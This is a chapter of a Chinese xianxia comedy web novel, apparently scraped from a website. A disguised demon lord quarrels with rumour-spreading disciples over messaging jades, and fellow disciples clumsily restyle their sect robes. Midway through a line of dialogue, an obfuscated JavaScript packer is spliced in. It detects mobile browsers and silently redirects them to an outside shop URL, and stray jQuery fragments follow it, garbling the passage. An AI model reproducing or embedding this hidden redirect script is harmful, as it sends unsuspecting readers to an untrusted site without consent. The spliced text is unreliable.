本已决定在离开沧阳宗之前不再打开“传讯玉简”,夜慈和顾小闲俩人晚上却一直神神叨叨,不停对着玉简露出某种无耻笑容。

    魔尊最终还是悬起玉简,打算解开符阵,看看他们在笑什么。

    夜慈直接凑过来。

    “尊——师弟,你这个玉简名该改改了吧?”

    他隐晦地点了点上面[魔界在逃尊主]几个字。

    其实这个名字也不是魔尊本人起的。

    原本他们惊蚀海魔域并无血脉正统一说,想要坐上魔尊之位,不看出身,不论长幼,甚至不分种族,唯实力为上。

    上任魔尊寿元将近,道基坍损,已无力镇界,便主动昭告修罗魔台开启尊位大比。

    惊蚀海全境,七十六魔城,各路魔修,只要修为抵达渡劫魔主境以上,即可立下生死战书,决战于碎魂穹顶。

    败者身死道消,胜者即刻继位,无需任何仪式。

    可到了魔尊这届,魔修中竟只有他一人达到既定修为。

    也难怪人人都说魔道凋零,魔修一脉后继无人,看不到半分前路。

    于是魔尊就这样无痛成为了魔尊,同时还继承了上任魔尊的玉简名字。

    夜慈想了想,先帮魔尊的玉简名改成了[长得最嫩,砍人最狠]。

    然后又看到了魔尊之前的玉简箴言——

    [克死十任魔尊,终于独掌乾坤。]

    夜慈当即爽朗地笑出了声,“哈哈哈哈哈哈哈,没想到上任老魔尊还挺幽默!”

    魔尊:……

    “这句是我自己写的。”

    夜慈:“……”死嘴。

    夜慈咳嗽一声,将这句小箴改成了[剑已扔,来情人,秒回消息很粘人!]

    魔尊:“?”

    夜慈:“我觉得改得和您本尊越有反差越不容易被人发现,您说呢?”

    魔尊没说好,也没说不好,指尖拂开宗门广场。

    他有过预想,今晚夜慈和顾小闲笑成那样,一定是宗门广场又有什么大逆不道的谣言妄议。

    但他做的预想还是做少了。

    广场上直冲眼帘的第一条就是:

    《分享一则野史中的野史:咱们宗这些年飞升极快的那位副宗主,听说其实是魔尊喝了十万落胎丹都没落掉的天选魔子!》

    《?????????》

    《!!!!!!!!!》

    《副宗主是魔尊生的,真的假的????那就难怪了……!》

    《宗内魔丸,果然是有迹可循的……!!!》

    夜慈也在看,还拿这篇阵文当个乐子,没想到再一划拉开,却在底下清一色的胡说八道中,发现竟有一个人真的在认真辟谣。

    再一看,不是他尊上又是谁??

    [长得最嫩,砍人最狠]:荒唐!秋见棠今年已有百岁,魔尊闭关不过十载,怎可能……荒唐!!!

    [道侣生的孩子很好看,但不像我]:这位道友何必较真,这些本就是界内传闻,听得一乐罢了。

    魔尊虽然当人面前寡言少语,但在玉简上却出乎意料的辩才无碍,和那位回复他的弟子展开了激烈阐论,生生争讨出上百条阵文。

    终于,有位不知从哪凭空出现的弟子帮了他一把。

    在俩人争执不下时,那人道:

    [紫胤]:秋副宗主的亲爹是天衍秋氏的家主,半步入圣的大能,拿他说笑不怕惹上麻烦?

    天衍一派世代执掌天道衍算,星轨驭灵,手握秘域【沉星渊】,不依附任何仙门联盟,超然于万宗之上。

    就连沧阳宗历代宗主都需敬秋家三分,秋家子弟在外却从不张扬,极少入世,唯有秋见棠自愿入世修行,暂居沧阳宗任副宗。

    这人的回复一出来,那位和魔尊争执不休的弟子便火速删去了自己所有的回复灵讯。

    就连整个宗门广场都突然干净得就像被宗门办净化过一样。

    魔尊准备关上玉简,一则灵讯突然又显现出来。

    其上显示那位名叫[紫胤]的道友想要与他互结契友,以便传讯。

    想到这人是他用传讯玉简以来唯一遇到的正常人,魔尊选择通过灵讯。

    对方的灵讯很快传送过来。

    [紫胤]:这位道友,看你刚刚的话,你也不太赞同那些关于沧阳宗主和魔尊之间的传言?

    [长得最嫩,砍人最狠]:全是无稽之谈。

    [紫胤]:太好了,我也觉得无中生有!虽然魔尊和沧阳宗主俩人看着的确很般配,但他们分明清清白白!

    虽然这人说话好似哪里不对劲,魔尊还是回了个“嗯”。

    他点开对方的方寸镜主页,发现箴言上写着:[七夕不必约我,我乃无情道唯一肄业弟子。]

    足以彰显其道心坚韧,志向不凡。

    对方也看了他的箴言,灵讯马上又过来。

    紫胤:[道友……你想要找道侣?]

    魔尊想起夜慈说的,越是极致反差,越能掩人耳目。

    指节泛白地敲下一字:

    [嗯。]

    [那你……喜欢什么样的?]

    他哪儿知道他喜欢什么样的,他的人生里就没有喜欢二字。

    但要说他嫌恶,厌弃,憎恨什么样的,一个形象直接跃然脑海。

    [喜欢不穿紫衣,不戴配饰,不是剑修,不嘴碎的。]

    这段话一传过去,对面久久没有了回音。

    -

    “师兄,你真不打算管管宗门广场?你不知道底下那些弟子传得有多离谱,昨儿都传出我是你和魔尊偷生的野合之子来了!”

    “我这么英俊不凡,你俩生得出来么!?”

    烬尘用剑柄上的银丝剑穗逗弄着玄蛇,蛇身从剑锷衔柄处蜿蜒而过,六瓣一叶,柔艳劲挺,原来剑上也镌着朵玉芙蓉。

    “十万颗落子丹……”

    烬尘重复了一遍这数,笑起来,“那他肠胃还挺好。”

    秋见棠:“……”

    “这是重点吗??!”

    烬尘又是轻笑一声,将剑横在膝上,玄蛇绕着剑穗盘桓两圈,蛇头上仰,又往他掌心拱。

    “这蛇倒是认你,”秋见棠瞧了眼,“比你本命法器还亲,确定它真不是认错主了?”

    “它的主人也没反对它来找我。”

    秋见棠嗤笑道,“不是你设的引灵寻踪阵将它强纳过来的吗?”

    “你跟其他峰的首座说这蛇是跟随你从域外一起回来的,但可骗不了我,那日我明明看到它就是在咱宗内凭空出现的!”

    “蛇的主人现在到底在哪呢?”

    “回答我啊,师兄!!!!”

    烬尘被他攥着肩膀狂摇数下,金铃在身上响个不停。

    “你,”终于,他悠悠开口,“遇到过情劫没有?”

    秋见棠动作一顿。

    “你是不是不知道我刚荣登界内最不想嫁天骄榜第一?”

    “那我问你,”烬尘换了个问题,“倘若有一个大美人为你厮杀拼命,从山下一路闯过一百零九峰,败退所有守关大能,最后只为站到你面前——”

    秋见棠:“站到我面前…………?”

    烬尘:“朝你比个心。”

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756805|209530||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你会作何感想?”

    秋见棠想象无能,灵台里搜索枯肠也无法浮现出那么美好的画面。

    他只能想到有人会翻山越岭,披荆斩棘地来砍他,但绝不可能会有人这么惊天动地地来爱他。

    “倘若真有这样的大美人……”

    秋见棠很笃定地道:“我会觉得祂一定是瞎!”

    烬尘:“……”

    “老二,你成为界内最不想嫁的剑修,也算是情有可原了。”

    秋见棠:“哦。”

    跟你们这些受欢迎的剑尊没有共同语言。

    -

    初选放完榜,几人都顺利入了围。

    顾小闲挂在夜慈身上看完榜单,不停说着我就知道咱们能行,捡粪都能捡进前三,还有什么是我们师兄弟做不到的!

    按宗门法度,凡通过初遴的弟子皆需穿上沧阳宗特色门袍。

    外门弟子的宗衣是最素净的款式,烟青锦料裁制,一袭着身,如笼罩薄青烟岚,敛饰藏华,淡然清寒。

    夜慈在惊蚀海也是爱俏的主,抖开衣袍在身前一比,当即对着铜镜怨声载道起来。

    “你们宗的门袍究竟是何人规制,怎么恁地难看!再宽的肩,再细的腰,教这袍子一藏,乍一看都跟个水桶似的!”

    “大会规矩么,一视同仁。”孟长川套上门服,壮实身板把烟青色撑得鼓鼓囊囊,还在认真帮顾小闲把衣裳理正。

    “大窦师兄,”顾小闲突然双眼狂闪地抱住夜慈胳膊,“你可会针线活??”

    夜慈眯眼:“你想干啥?”

    “改一改嘛!”

    夜慈在顾小闲掏出针线包的那一刹那就心领神会,跟对方一拍即合。

    俩人躲到寮舍后院花费好几个时辰缝缝改改。

    “小闲,腰间给我再加条收束,我这个腰线不能浪费!”

    “背后能不能再少点褶皱?我后背也练得挺好的。”

    “袖口再宽一点,宽得可以钻个人进去那种,宽袖显飘逸,仙风道骨,你懂的。”

    俩人从白天改到黑夜,好不容易改完,魔尊却从寮舍里走了出来。

    他也换上了那套门服,但没有做任何改动,烟青素袍,银灰暗纹,同色云带,最简单的式样,最震撼的脸庞。

    震撼得让人生气。

    顾小闲低头看了看自己外头那层精心缝上去的绡纱,沉默片刻,默默把纱拆了。

    夜慈也把腰间的银链解了。

    两个人肩并肩站着,看着花花绿绿轰轰烈烈的彼此,久久无言。

    直到顾小闲先开口:“大窦师兄,我觉得我们刚才的行为,可以用四个字来概括。”

    “哪四个字。”夜慈麻木地问。

    “丑人多作怪。”

    “…………”

    “那是五个字。”

    难道这就是天生丽质和用力过猛之间不可逾越的鸿沟吗?

    魔尊并未评价他们的臭美行径,只是蹙眉:“试炼将至,不去勤修练剑,还在这浪费时间?”

    顾小闲顿时吟唱起来:“他考任他考,我自乐逍遥!”

    夜慈紧跟其上:“卷生卷死都得死,浪得一日是一日!”

    魔尊眸光淬霜,淡淡一瞥。

    夜慈立马站得离顾小闲一丈远,“我爱练剑,一练提神醒脑,二练永不疲劳,三练长生不老,四练还能长高!”

    “对不住了小闲,如果你不爱练剑,我们将无法成为朋友!”

    顾小闲:“……”

    “大窦师兄,你在你们虞山派到底都修的些什么啊??”

    “脸皮吗???”